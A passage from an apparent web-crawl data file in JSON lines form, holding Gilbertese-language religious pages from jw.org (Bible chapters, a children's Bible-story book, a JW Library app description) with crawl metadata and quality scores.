1.0000100135803223}","num_words":783,"character_repetition_ratio":0.054,"word_repetition_ratio":0.0,"special_characters_ratio":0.231,"stopwords_ratio":0.397,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Nakon te Tia Wareware:\nNgkai taan taromauria Iehova ngaira, ti tangira ana Taeka ae te Baibara. Ti kakoauaa bwa iai i nanona te rongorongo ae eti, te kairiri ae kona n onimakinaki ni kaineti ma te maiu, ao te bwai ni kakoaua ibukin ana tangira Iehova ibukia te botannaomata. (Taian Areru 119:105; Ruka 1:3; 1 Ioane 4:19) E korakora nanora ni kani buokiia aomata bwa a na reiakini koaua aika kakawaki man Ana Taeka te Atua. Ibukin anne, ti rangi ni kukurei ni katauraoa te boki ae \"Karekea Reireiam Man te Baibara.\" Ti na kabwarabwaraa teutana taekana.\nE katauraoaki te boki aei riki ibukia ataei. Ma e ibuobuoki naba nakoia ikawai ake a kan reiakina riki taekan te Baibara. Ao ngkai te Baibara bon te boki ibukia aomata nako, akea te nanououa bwa ti na bane ni kakabwaiaaki man rinanoan reirei ake iai, aika kona ni buokira ni karekea te kukurei ni koaua.\nNi kabonganaan rongorongo aika n te Baibara, e karakinaki n te boki aei rongorongoia aomata ni moa man te karikibwai. E bati te kakorakora ni katauraoan rongorongo man te Baibara n te aro ae mataata ma ni bebete, ao e baireaki raoi ni kaineti ma taia ake a riki iai.\nE bati riki kanoan te boki aei nakon tii karakinan rongorongo man te Baibara. E karaoaki raoi taekana ao taamneina n te aro are kaanga ko a boni mena i buakon rongorongo ake n te Baibara, ao e kaotii aia namakin naake a karakinaki taekaia.\nE buokira te boki aei bwa ti na ataia ae e taekinaki n te Baibara taekaia aomata aika ongeaba ao aika aki ongeaba iroun Iehova. Ao e kaungaira bwa ti na karekei reireiara n aia katoto. (I-Rom 15:4; 1 I-Korinto 10:6) E tibwaaki te boki aei nakoni mwakoro aika 14. Ni moan te mwakoro teuana ma teuana, iai te kabwarabwara ae kimototo i aon reirei tabeua aika ti kona ni karekei iai reireiara.\nNgkana te karo ngkoe, ko kona ni wareka te reirei teuana ma natim ao ni maroroakina te taamnei are iai. Imwina kam kona ni wareki kiibu man te Baibara ake e boto iai te reirei anne. Buoka natim bwa e na kairekerekea te baere e warekia n te Baibara ma te reirei n te boki aei. E kona naba n ibuobuoki ao n uaana anne nakon te aomata ae ikawai bwa e na ataa te rongorongo man te Baibara.\nAra kantaninga bwa e na ibuobuoki te boki aei nakoia naake a raoiroi nanoia—aika ataei ao aika ikawai—bwa a na karekei reireiaia man Ana Taeka te Atua ao ni maiuakin. Ni karaoan anne, a a kona naba n taromauria Iehova ao n riki bwa kaain ana utu ae e tangiriia.\nTarimi,\nTe Rabwata n Tautaeka Ibukia Ana Tia Kakoaua Iehova","id":"","dump":"CC-MAIN-2018-05","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/booki\/karaki-man-te-baibara-reirei\/reta-man-te-rabwata-n-tautaeka-lfb\/","date":"2018-01-17T22:36:10Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-05\/segments\/1516084886979.9\/warc\/CC-MAIN-20180117212700-20180117232700-00741.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":452,"character_repetition_ratio":0.082,"word_repetition_ratio":0.0,"special_characters_ratio":0.217,"stopwords_ratio":0.436,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"'E Karaoia te Atua Bwa te Uea ao te Kristo'\nNi waakinakon te tai, e kona ni manga ueke te nanokokoraki ao e kona ni mamaara iai te onimaki. Kakorakoraa onimakinan Iesu, te Mesia ae beritanaki ao te Uea n Ana Tautaeka n Uea te Atua.\nTera ae ko kakoauaa iai bwa te Atua e boni karaoa Iesu bwa te Uea ao te Kristo?\nNora te bae kona ni buokiko ni karekea am onimaki ae korakora ibukin Iesu.","id":"","dump":"CC-MAIN-2018-05","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/taamnei\/iesu-te-uea-kristo\/","date":"2018-01-23T16:44:18Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-05\/segments\/1516084891980.75\/warc\/CC-MAIN-20180123151545-20180123171545-00099.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":78,"character_repetition_ratio":0.098,"word_repetition_ratio":0.0,"special_characters_ratio":0.22,"stopwords_ratio":0.474,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Ko tangiria ni wareka te kaongora aei n %%?\nKo tangiria ni wareka te kaongora aei n %%?\nTe Baibara n te Intanete | TE BAIBARA AE TABU-TE RAIRAI AE TE AONNABA AE BOOU (MANGA RINANOAKI N 2013 )\n36 \"E na kaai ni mwakuri Betarera ma Ooriaba, ao mwaane nako aika mwaatai* are e angania te rabakau Iehova ma te ota ni baikai, bwa a aonga n atai aroni karaoani mwakuri nako ibukin te tabo ae tabu n aron are e tua Iehova.\"+ 2 Ao Mote e weteiia Betarera ma Ooriaba, ao mwaane nako aika mwaatai ake e karina te rabakau i nanoia Iehova,+ ake mwaane ake a kairaki mai nanoia bwa a na anga ngaiia bwa a na karaoa te mwakuri.+ 3 A anai ngkanne mairouni Mote angabwai ni kabane+ ake a uotii tibun Iteraera ibukin te mwakuri ae irekereke ma te tabo ae tabu. Ma a bon teimatoa naba naakai n uotii nakoina aia karea ni kan anga n te ingabong teuana ma teuana. 4 A bane n roko taani mwakuri aika mwaatai temanna imwin temanna imwini moanakini karaoan te mwakuri ae tabu irouia, 5 ao a kangai nakoni Mote: \"E a riao ae a uotia aomata nakon ae e kainnanoaki ibukin te mwakuri are e tua karaoana Iehova.\" 6 Mangaia are e tua Mote bwa e na katanoataaki rinanon te kaembwa ae kangai: \"Mwaane ao aine, tai manga uotii riki angabwai ibukin te umwanrianna ae tabu.\" Mangaia are a a tukaki aomata man uotakini bwaai. 7 A tau mwaitini bwaai ibukini mwakuri nako ake a na karaoaki, ao e a riaon ae kainnanoaki. 8 Mangaia are a a bane taani mwakuri ake a mwaatai,+ ni karaoa te umwanrianna ae tabu*+ ni kunnikai aika tebwina aika karaoaki man te rinen ae raoiroi ae binokaaki, te karai ae buruu, te karai ae beboo ae buraen te tiibu, ao te karai ae uraroo. E* karaoi ma taamneia kerubim* aika taeraki ni katamaroaaki iai aoia.+ 9 Abwakini kunnikai ibukin te umwanrianna kaka 28 te mwanokunibai* ao kaka 4 te mwanokunibai raababaia. Titeboo abwakin ao raababani kunnikai aikai ni kabane. 10 E tomai ngkanne kunnikai ake nimaua, ao e a manga tomai kunnikai ake nimaua riki. 11 Imwin anne ao e karaoi timoimoi man te karai ae buruu i taran te rinan ni kunnikai teuana, ike a na toma iai kunnikai aikai. E karaoa naba aekakin anne i taran te kabanea ni kunnikai n te rinan ni kunnikai are teuana n te tabo are a na toma iai. 12 E karaoi timoimoi aika 50 n te kunnikai teuana, ao timoimoi aika 50 i taran te kunnikai are teuana n te tabo are a na toma iai rinan ni kunnikai aikai, bwa a aonga ni kaaitara timoimoi aikai. 13 Ni kabaneana, e a karaoi kaai ni kareke aika koora aika 50 ao e tomai kunnikai akanne ni kaai ni kareke akanne, ao e a riki bwa teuana te umwanrianna ae tabu. 14 E karaoi ngkanne kunnikai mani buraen te kooti ibukin rabunan aon te umwanrianna ae tabu. E karaoi kunnikai aika 11.+ 15 Abwakini kunnikai aikai kaka 30 te mwanokunibai, ao kaka 4 te mwanokunibai raababaia. Titeboo abwakin ao raababani kunnikai aika 11 aikai. 16 Ao e tomai kunnikai ake nimaua, ao e a manga tomai kunnikai ake onoua riki. 17 Imwina ao e karaoi timoimoi aika 50 i taran te kabanea ni kunnikai ike a toma iai, ao e karaoi timoimoi aika 50 i taran te kunnikai are teuana are e toma ma ngaia. 18 Ao e karaoi kaai ni kareke aika taiani buraati aika 50 ibukin tomaan rabunan te umwanrianna ae tabu bwa e na riki bwa teuana. 19 E karaoa rabunan te umwanrianna mani kunin te tiibu mwaane ae kaurauraaki ao te rabuna i aon anne ae karaoaki mani kunin te tiire.+ 20 Ao e karaoi kain oon te umwanrianna ae tabu aika tei n etirake+ man te kai ae te aketia.+ 21 Kaka tebwina te mwanokunibai rietani kain te oo, ao teuana ao te iterana te mwanokunibai raababaia. 22 Kaka uoua neweni kain te oo* aika nim iai ae titeboo teia. Anne arona ni karaoi kain oon te umwanrianna ae tabu ni kabane. 23 Mangaia are e karaoi kain oon te umwanrianna ae tabu, 20 kain te oo ibukin te itera are mai maiaki, ni kaitaraa maiaki. 24 Ao e karaoi niibwa aika tirewa aika 40 bwa a na mena i aani kain te oo aika 20, uoua niibwa i aan teaina kain te oo ibukin newena ake uoua, ao uoua niibwa i aani kaka teaina kain te oo ibukin newena ake uoua.+ 25 E karaoi naba kain te oo aika 20 ibukin iteran te umwanrianna ae tabu mai meang, 26 ao nibwaia aika tirewa aika 40, uoua niibwa i aani kain te oo teaina ao uoua niibwa i aani kaka teaina kain te oo. 27 E karaoi kain te oo aika oneai ibukin iteran te umwanrianna ae tabu are mai buki are nako maeao.+ 28 E karaoi kain te oo aika uaai bwa bouani maninganingan te umwanrianna ae tabu ni maninganinga ake uoua ake mai buki. 29 Titeboo teini boua aikai mai nano nako eta nakon te moani mwamwa. Anne te bwai ae e karaoia nakoni bouan te maninganinga ake uaai. 30 Mangaia are mwaitini kain te oo boni wannai n ikotaki ma nibwaia aika tirewa aika 16, uoua niibwa i aani kaka teaina kain te oo. 31 E karaoi ngkanne kaai ibukini katomaani kain te oo man te kai ae te aketia, nimaai kaai ni kamatoa ibukini kain te oo n iteran te umwanrianna ae tabu are teuana,+ 32 ao nimaai kaai ni kamatoa ibukini kain te oo n iteran te umwanrianna ae tabu are teuana, ao nimaai ibukini kain oon te umwanrianna ae tabu ibukin te itera are i buki nako maeao. 33 Ao e karaoa te kai ibukini katomaani kain te oo are i nuka bwa e na biri rinukani kain te oo, mai tabona nako tabona. 34 E kanimwa te koora n rabuna kain te oo ni kabutaa ao e karaoi mwamwaia man te koora bwa bwain tauani kaai ibukini katomaani kain te oo, ao e kanimwa te koora ni kaai aikai ni kabutaa.+ 35 Ao e karaoa te keeten+ man te karai ae buruu, te karai ae beboo ae buraen te tiibu, te karai ae uraroo, ao te rinen ae raoiroi ae binokaaki. E taerii i aona+ taamneia kerubim.+ 36 Ao e karaoi bouana aika aai aika aketia ao e kanimwa te koora n rabuni iai, n ikotaki ma matauia aika koora, ao e kaburoi n atoi nibwaia aika aua aika tirewa. 37 Imwina ao e karaoa te keeten* ibukini mataroan te umwanrianna, man te karai ae buruu, te karai ae beboo ae buraen te tiibu, te karai ae uraroo, ao te rinen ae raoiroi ae binokaaki, ae a ikotaki n rarangaaki,+ 38 n ikotaki ma bouana aika nimaai ao matauia. E kanimwa te koora n rabuni aoia ma bwain tomaaia,* ma a karaoaki nibwaia aika nimaua man te buraati.\n^ Ebera, \"mwaane nako aika wanawana nanoia.\"\n^ Nora Nanon Taeka.\n^ N taraana ao e kaineti nakoni Betarera.\n^ Nora Nanon Taeka.\n^ Ke, \"boua aika etirake.\"\n^ Ke, \"te roki.\"\n^ Ke, \"mwaamwa; bwaai n tautau aika mronron; bwaai ni kabaebae\" ibukini kabaeaia.","id":"","dump":"CC-MAIN-2018-05","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/baibara\/nwt\/booki\/te-otinako\/36\/","date":"2018-01-23T06:19:15Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-05\/segments\/1516084891750.87\/warc\/CC-MAIN-20180123052242-20180123072242-00743.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":1145,"character_repetition_ratio":0.103,"word_repetition_ratio":0.062,"special_characters_ratio":0.236,"stopwords_ratio":0.405,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Ngke e a tia ni miia te boua te Uea ae Nebukaneta ao tabeua te tai imwina, e a karaoa te boua ae totoakaei man te koora. E kateia i aon te tabo ae aoraoi ae Ruura ao e kanakotaeka nakoia aomata aika rangi ni kakannato i Baburon bwa a na ikotaki i matan te boua aei, n ikotaki naba ma Tiateraka, Metiaka, ao Abeteneko. E tua ae kangai te uea: 'N te tai are kam ongo iai tangin te buu, te abi, ao te kaibwabwaa ae bubura, kam riai ni bobaraaki nakon te boua! Ane e aki bobaraaki ao e na karenakoaki ni nnen te ai ae uramwaaka.' A na bobaraaki nakon te boua taian Ebera ake teniman ke a na taromauria Iehova n tii ngaia?\nAo e tua te uea bwa e na katangaki te katangitang. A bane ni katorobubua ni bobaraaki aomata ao n taromauria te boua ma a teimatoa n tei Tiateraka, Metiaka, ao Abeteneko. A noriia naakai mwaane tabeman ao a taku nakon te uea: 'A rawa taian Ebera ake teniman n taromauria am boua.' Ao e tua Nebukaneta bwa a na kairaki nakoina ao e taku: 'N na anganingkami riki ami tai n taromauria te boua. Ngkana kam aki, ao N na karenakoingkami ni nnen te ai. Akea te atua ae kona ni kamaiuingkami mairou.' A kaeka ni kangai: 'Ti aki kainnanoa ae ko na anganira ara tai. E boni kona ni kamaiuira Atuara. Ma ngkana e aki, te uea, ti na bon aki taromauria te boua.'\nE a rangi n un Nebukaneta ngaia are e taku nakoia ana aomata: 'Karakaa kabuebueni nnen te ai itiua riki te tai nakon are mai mwaina!' Ao e tua nakoia ana tautia ni kangai: 'Kabaeia mwaane aikai ao karenakoia i nanona!' E a rangi ni kabuebue te ai n te aro are ngke a kaania tautia ao a a mate naba. Ao a a bwaka i nanon te ai taian Ebera ake teniman. Ma ngke e taraa nanon te ai Nebukaneta, e a noriia aman mwaane aika ririaki i buakon te ai ao ai tiaki teniman. E a maaku ao e taku nakoia ana mataniwi: 'Tiaki ti karenakoia teniman mwaane nakon te ai? Ma I a noriia aman, ao temanna i buakoia kaanga taraan te anera!'\nE keerake riki nako rarikin te ai Nebukaneta ao e wewete ni kangai: 'Otinako, ngkami aika ana toro te Atua ae Moan te Rietata!' A bane ni mimi aomata n nora Tiateraka, Metiaka, ao Abeteneko n otinako man te ai ao a aki bue kunia, irannatuia, ao aia kunnikai, ao a aki naba buaiai teutana.\nE taku Nebukaneta: 'E mwaaka Atuan Tiateraka, Metiaka, ao Abeteneko. E kanakoa ana anera bwa e na kamaiuia. Akea te atua ae ai aron Atuaia.'\nKo motinnanoia naba bwa ko na kakaonimaki ni koaua nakon Iehova n aroia taian Ebera ake teniman, n aki ongei baika riki?\nKo riai n taromauria Iehova ae Atuam, ao ko riai n toro irouna n tii ngaia.\"—Mataio 4:10","id":"","dump":"CC-MAIN-2018-05","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/booki\/karaki-man-te-baibara-reirei\/10\/tiateraka-metiaka-abeteneko\/","date":"2018-01-24T11:52:43Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-05\/segments\/1516084894125.99\/warc\/CC-MAIN-20180124105939-20180124125939-00242.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":497,"character_repetition_ratio":0.077,"word_repetition_ratio":0.0,"special_characters_ratio":0.23,"stopwords_ratio":0.439,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"E koaua bwa e kona ni kakukurei te utu i nanoni kabaneani boong aikai ngkana e rotakibuaka te tekateka n taanga imwin te mare ao te utu? Bon tiaki te bwai ae bebete arona, ma bon iai te ibuobuoki ae tauraoi. E ngae ngke bon tiaki bokini kateimatoaan te tekateka n taanga imwin te mare te boroutia aei, ma e katuruturuaki iai booto n reirei aika manena man te Baibara ao reirei aika kakawaki. Ngkana a maiuakinaki raoi, e na kona ni karekea te kakukurei n am utu.","id":"","dump":"CC-MAIN-2018-05","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/booki\/kakukurei-utu\/boroutia-te-moantaeka\/","date":"2018-01-21T19:50:04Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-05\/segments\/1516084890823.81\/warc\/CC-MAIN-20180121175418-20180121195418-00170.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":88,"character_repetition_ratio":0.088,"word_repetition_ratio":0.0,"special_characters_ratio":0.203,"stopwords_ratio":0.42,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Ko tangiria ni wareka te kaongora aei n %%?\nKo tangiria ni wareka te kaongora aei n %%?\nTe Baibara n te Intanete | TE BAIBARA AE TABU-TE RAIRAI AE TE AONNABA AE BOOU (MANGA RINANOAKI N 2013 )\n12 Ao Reoboam e nako Tekem, bwa a bane n roko tibun Iteraera i Tekem+ bwa a na kaueaa.+ 2 Ngke e ongo naba ngkekei Ieroboam are natin Nebata (e boni mena naba i Aikubita ibukina bwa e birinako ngkoa ibukin te Uea are Toromon ao e maeka i Aikubita),+ 3 ao a kanaanako bwa e na weteaki. Imwin anne ao e a roko Ieroboam ma te botaki n aomata aika tibun Iteraera iroun Reoboam ao a taku: 4 \"E karawawatai amora tamam.+ Ma ngkana ko kauarerekea riki te mwakuri ae rawawata are mairoun tamam, ao ko kabebetea te amo ae tinebu* are e katokaa i aora, ao ti na toro iroum.\" 5 Ngaia are e taku nakoia: \"Naako i nanon tenibong ao kam a manga okirai.\" Mangaia are a a nako aomata.+ 6 E maroro ngkanne te Uea are Reoboam ma unimwaane ake a beku iroun tamana are Toromon ngke e maiu, ao e kangai: \"Tera ami taeka n reirei ae kam na anga ni kaineti ma aroni kaekaaia aomata aikai?\" 7 A kaekaa ni kangai: \"Ngkana ko riki bwa aia toro aomata aikai n te bong aei, ma ni kariaia aia bubutii ao ko kaekaia n te aro ae riai, ao ane a na riki bwa am toro n taai nako.\" 8 Ma e rawa nakon te taeka n reirei are a anganna unimwaane, ao e maroro ma rorobuaka n ataei ake a ikawairake ma ngaia, ao a a riki ngkai bwa ana tabonibai.+ 9 E titirakinia ni kangai: \"Tera ami taeka n reirei ae kam na anga ni kaineti ma arora ae ti riai ni kaekaia iai aomata ake a kangai nakoiu, 'Kabebetea riki te amo are e katokaa i aora tamam'?\" 10 A taku nakoina rorobuaka n ataei ake a ikawairake ma ngaia: \"Ko riai ni kangai nakoia aomata ake a kangai nakoim, 'E karawawatai amora tamam, ma ko riai ngkoe ni kabebetei riki ibukira,' ao ko riai n tuangia ni kangai, 'E na matenten riki ukireni baiu nakoni bebeen tamau. 11 E katokaa i aomi te amo ae rawawata tamau, ma ngai N na kauaataoa riki amomi. E kataereingkami tamau ni kaai ni kataere. Ma N na karaoa ae kakaiaki riki nakon anne, bwa N na kataereingkami ni kaai ni kataere aika kakang taboia.'\" 12 Ao e a roko Ieroboam ma aomata akekei ni kabane iroun Reoboam n te katenua ni bong, n aron are e taku te uea ni kangai: \"Kam a manga okirai n te katenua ni bong.\"+ 13 Ma e kaekaia aomata akekei te uea ma te iowawa, ao e rawa n te taeka n reirei are a anganna unimwaane. 14 E taetae nakoia n aron aia taeka n reirei rorobuaka n ataei ni kangai: \"E karawawatai amomi tamau, ma ngai N na kauaataoa riki amomi. E kataereingkami tamau ni kaai ni kataere. Ma ngai N na kataereingkami ni kaai ni kataere aika kakang taboia.\" 15 Mangaia are e aki ongo te uea irouia aomata akekei, bwa a riki baikai mairoun Iehova,+ bwa e aonga ni kakororaoaki te taeka are e taekinna Iehova nakon Ieroboam are natin Nebata rinanon Aiia+ are te I-Tiro. 16 Ngke a noria tibun Iteraera ni kabane bwa e rawa te uea n ongo irouia, ao a kaeka aomata nakon te uea ni kangai: \"Tera tibwangara iroun Tawita? Akea ara bwai iroun natin Iete. Okiriia atuami ngkami aika tibun Iteraera. Ao ngkoe Tawita, ani bon tararuaa oini batam!\" Ao a okiri mwengaia* tibun Iteraera.+ 17 Ma e teimatoa n tautaeka Reoboam i aoia tibun Iteraera ake a maeka ni kaawa ake i Iuta.+ 18 Ao te Uea ae Reoboam e kanakoa Atoram+ are te mataniwi i aoia te koraki ake e tua te uea bwa a na mwakuri ibukina, ma a karebanaia n atibu n uaa matena tibun Iteraera ni kabane. Ma e reke tokan te Uea are Reoboam i aon ana kaa ni buaka ao e birinako nako Ierutarem.+ 19 Ao a teimatoa ni karitei tibun Iteraera+ n ekiianako ana utu Tawita ni karokoa te bong aei. 20 Ngke a ongo naba ngkekei tibun Iteraera ni kabane bwa e a oki Ieroboam, ao a weteia nakon te botaki n aomata ao a kateia bwa te uea i aon Iteraera ni kabutaa.+ Akea i buakoia aomata ae e boutokaa ana utu Tawita ma bon tii te baronga are Iuta.+ 21 Ngke e roko Reoboam i Ierutarem, ao e a botiia naba ngkekei tibun Iuta ni kabane ma te baronga are Beniamin, aika taani buaka aika 180,000 aika a a tia ni kataneiaaki,* bwa a na buakania tibun Iteraera bwa a aonga ni kaoka te nakoa n uea nakon Reoboam are natin Toromon.+ 22 Ao e roko ana taeka te Atua ae koaua iroun Temaia+ ae ana aomata te Atua ae koaua, ae kangai: 23 \"Kangai nakon Reoboam are natin Toromon are uean Iuta, ao nakoia ni kabane tibun Iuta ao Beniamin, ao nikiraia aomata, 24 'E kangai ana taeka Iehova: \"Kam na tai waerake ni buakania tarimi aika tibun Iteraera. Kam riai n okiri ami auti n tatabemaningkami, bwa I boni karika te baei.\"'\"+ Mangaia are a ongo n ana taeka Iehova ao a okiri mwengaia n aron are e tuangia Iehova. 25 Ao Ieroboam e katea* Tekem+ n aonon Eberaim ae maungaunga ao e maeka iai. Ao e a manga nako mai iai ao e katea* Benuera.+ 26 E taku Ieroboam i nanona: \"E nang oki ngkai te tautaeka n uea nakon ana utu Tawita.+ 27 Ngkana a teimatoa aomata aikai ni waerake n anga taiani karea n ana auti Iehova i Ierutarem,+ ao ane e na oki naba nanoia aomata aikai nakon aia toka are te Uea are Reoboam are uean Iuta. Eng, a na boni kamateai ao a na okira te Uea are Reoboam are uean Iuta.\" 28 Imwin ana maroro te uea ma ana taan angareirei n ibuobuoki, ao e a karaoi kaao ataei aika uoman aika koora,+ ao e taku nakoia aomata: \"E a rangi n riao ibukimi te waerake nako Ierutarem. Ngkami aika tibun Iteraera, aio Atuami are kairingkami ni kaotinakoingkami man te aba are Aikubita.\"+ 29 E kaaki temanna i Betaera+ ao are temanna e kaaki i Tan.+ 30 E a karekeia n te bure te baei,+ ao a rokoroko aomata i Tan bwa a na taromauria iai are temanna. 31 Ao e katei auti n taromauri n taabo aika rietata ao e rineiia ibonga mai buakoia aomata nako, aika tiaki tibun Rewi.+ 32 Ao e karaoa naba te toa Ieroboam n te namwakaina are te kawanua, ae 15 iai bongin te namwakaina, n ai aron te toa are i Iuta.+ E angakarea i aon te baonikarea are e karaoia i Betaera+ nakoia kaao ataei ake e karaoi. Ao e kateirakeia i Betaera ibonga bwa a na beku n taabo aika rietata ake e karaoi. 33 Ao e a anga taiani karea i aon te baonikarea are e karaoia i Betaera n 15 iai bongin te kawanua n namwakaina, n te namwakaina are e boni karioa. Ao e kamatoaa te toa ibukia tibun Iteraera, ao e ararakea te baonikarea n anga iai taiani karea ma ni kabueki ni kabubui.","id":"","dump":"CC-MAIN-2018-05","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/baibara\/nwt\/booki\/1-uea\/12\/","date":"2018-01-23T05:42:33Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-05\/segments\/1516084891750.87\/warc\/CC-MAIN-20180123052242-20180123072242-00361.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":1186,"character_repetition_ratio":0.062,"word_repetition_ratio":0.02,"special_characters_ratio":0.24,"stopwords_ratio":0.436,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Te JW Library bon te burokuraem ae akea boona man te intanete (software application) ae ko kona ni karekea iai te Baibara ao booki ke maekatin riki tabeua, taamnei, ao bwanaa aika raweaki nakon am mobwaao, tablet, ke kaombiuta.\nARONI KAREKEANA: Katomako ma te intanete ao karekea te burokuraem ae te JW Library. E tauraoi n reke ni mobwaao, tablet, ke kaombiuta. N te tai are ko a toma iai ma te intanete, kauka te burokuraem anne ao rinei bwaai ake ko tangiria ni katokai n am mobwaao, tablet, ke kaombiuta. Ngkana akea am intanete ni mwengam, tao ko kona ni kabongana te intanete n te Tabo n Taromauri, te tabo n tangoboki ibukia aomata, ke taabo ake iai te intanete iai ae ko uakaan ma ngaia. Ko aki manga riai ni katomako ma te intanete ngkana a a tia n rin iroum booki ke maekatin. Ngkai iai baika boou aika katoatai n toka n te JW Library, ko riai ni katomako ma te intanete n te tai teuana ma teuana ao ni karekei baikanne ngkana a tauraoi.\nE AERA BWA E RIAI KAREKEANA? E rangi n ibuobuoki te JW Library ni karaoan am ukeuke n reirei i bon iroum ao n iririi kanoani kaetieti ni botakin te ekaretia. E manena naba n te mwakuri ni minita, moarara riki n te uarongorongo n tai ae aki baireaki.","id":"","dump":"CC-MAIN-2018-05","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/jw-te-boki-n-reirei\/mei-2016-mwb\/kaetieti-n-te-botaki-mei2-8\/karekea-te-burokuraem-ae-te-jw-library\/","date":"2018-01-23T04:39:59Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-05\/segments\/1516084891706.88\/warc\/CC-MAIN-20180123032443-20180123052443-00516.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":227,"character_repetition_ratio":0.098,"word_repetition_ratio":0.0,"special_characters_ratio":0.211,"stopwords_ratio":0.383,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"E TAEKINA IESU \"TII ANA KANIKINA IONA\"\nE KAAN RIKI MA TAAN RIMWINA NAKOIA ANA UTU\nA a ruanikai taani koroboki ma Baritaio n taetae ni kamatauningaa te taamnei ae raoiroi ngke a kakewea Iesu ae e kanakoia taimonio ni mwaakan te Atua. Ngaia are a na tei n te itera raa, ana itera te Atua ke Tatan? E taku Iesu: \"Ngkana kainnamwarake aika raraoi ngkami ao a na raraoi uaami, ma ngkana kaai ngkami aika kam buakaka ao a na bubuaka uaami, bwa a kinaaki kaai nako n uaaia.\"—Mataio 12:33.\nE aki raoiroi iangoan ae e kanakoia taimonio Iesu ni mwaakan Tatan ibukina bwa e toro iroun Tatan. E katereterea aei Iesu n ana Kabwarabwara i aon te Maunga bwa ngkana e raoiroi uaan te kai ao e aki kona ni buakaka te kai. Ngaia are tera ae kakoauaaki n aia kabuakaka ni kewe Baritaio ni kaitaraa Iesu? A boni buakaka. E taku Iesu nakoia: \"Ngkami boni bunia naeta aika baiba, ao kam na kangaa n taekini baika raraoi ngkai kam buakaka? Bwa e taetae te wi man onraken te nano.\"—Mataio 7:16, 17; 12:34.\nEng, a kaotiotaki nanora n ara taeka ao e kona ni boboto bairean taekara ni baike ti taekin. Ngaia are e taku Iesu: \"I tuangingkami bwa a na motikaki taekaia aomata n te Bong ni Motikitaeka ibukini baike a aki manena ni kabane ake a taekin, bwa e na motikaki taekami bwa kam raoiroi ke kam buakaka, man ami taeka.\"—Mataio 12:36, 37.\nE ngae ngke e a tia Iesu ni karaoi kakai, ma a tua ae bati riki taani koroboki ma Baritaio ni kangai: \"Te tia Reirei, ti kan nora te kanikina mairoum.\" E ngae ngke a a tia n noria ni karaoi kakai ke a tuai, ma a mwaiti taani kakoauaa te baere e karaoia. Mangaia are e kaekaia ni kangai: \"A teimatoa ni bubutii te kanikina te roro ae buakaka ae aki kakaonimaki iroun te Atua, ma akea te kanikina ae a na anganaki ma tii ana kanikina Iona ae te burabeti.\"—Mataio 12:38, 39.\nE aki katikuia Iesu bwa a na iaiangoa te baere e nanonna ngke e kangai: \"N aron Iona are e mena i nanoni biroton te ika ae totoa i nanon tenua te ngaina ao tenua te bong, ao e na mena naba i aantano Natin te aomata, tenua te ngaina ao tenua te bong.\" E ongaki Iona iroun te ika ae totoa ma ai aron ae e a mangauti ngke e a otinako. Ngaia are e a kaman taekina matena Iesu ao mangautina n te katenua ni bong. Imwina ngke e a riki anne, ao a rawa mataniwin te Aro n Iutaia ni kakoauaa \"ana kanikina Iona,\" are e oti iai bwa a bon rawa naba n rairi nanoia ao ni bitii aroaroni maiuia. (Mataio 27:63-66; 28:12-15) Ni kaitaraan anne, a bon rairi nanoia \"mwaanen Ninewe\" imwin ana uarongorongo Iona nakoia. Ngaia are a kabuakakaaki te roro aei irouia. E taku naba Iesu bwa a na kabuakakaaki naba man ana katoto ueannainen Tieba. E kan ongora ao ni miroaroa neiei ni wanawanan Toromon. Ma e taku Iesu bwa e a mena \"ikai temanna ae kakannato riki nakon Toromon.\"—Mataio 12:40-42.\nE kabotaua Iesu te roro ae buakaka aei ma te mwaane are e otinako mairouna te taimonio. (Mataio 12:45) Ibukina bwa e aki kaona nanona te mwaane aei ni baika raraoi, e a manga okiria te taimonio ma 